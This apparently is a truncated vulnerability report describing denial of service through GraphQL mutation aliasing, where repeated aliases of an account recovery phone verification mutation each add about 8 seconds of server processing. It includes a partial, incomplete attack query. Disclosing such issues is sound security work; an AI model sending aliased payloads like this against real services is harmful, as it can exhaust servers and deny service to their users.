DOS via Mutation Aliasing in GraphQL Account Recovery Phone Number Verification API

**Summary:** The GraphQL API’s `verifyAccountRecoveryPhoneNumber` mutation can be aliased multiple times in a single request, causing the server to process each mutation sequentially. Each additional alias adds approximately 8 seconds to the server’s response time, enabling (DoS) attack by …

mutation VerifyAccountRecoveryPhoneNumberMutations($verification_code: String!, $otp_code: String) {
    verify1: verifyAccountRecoveryPhoneNumber(input: { verification_code: $verification_code, otp_code: $otp_code }) {
        __typename
        me {
            
        }
    }
    verify2: …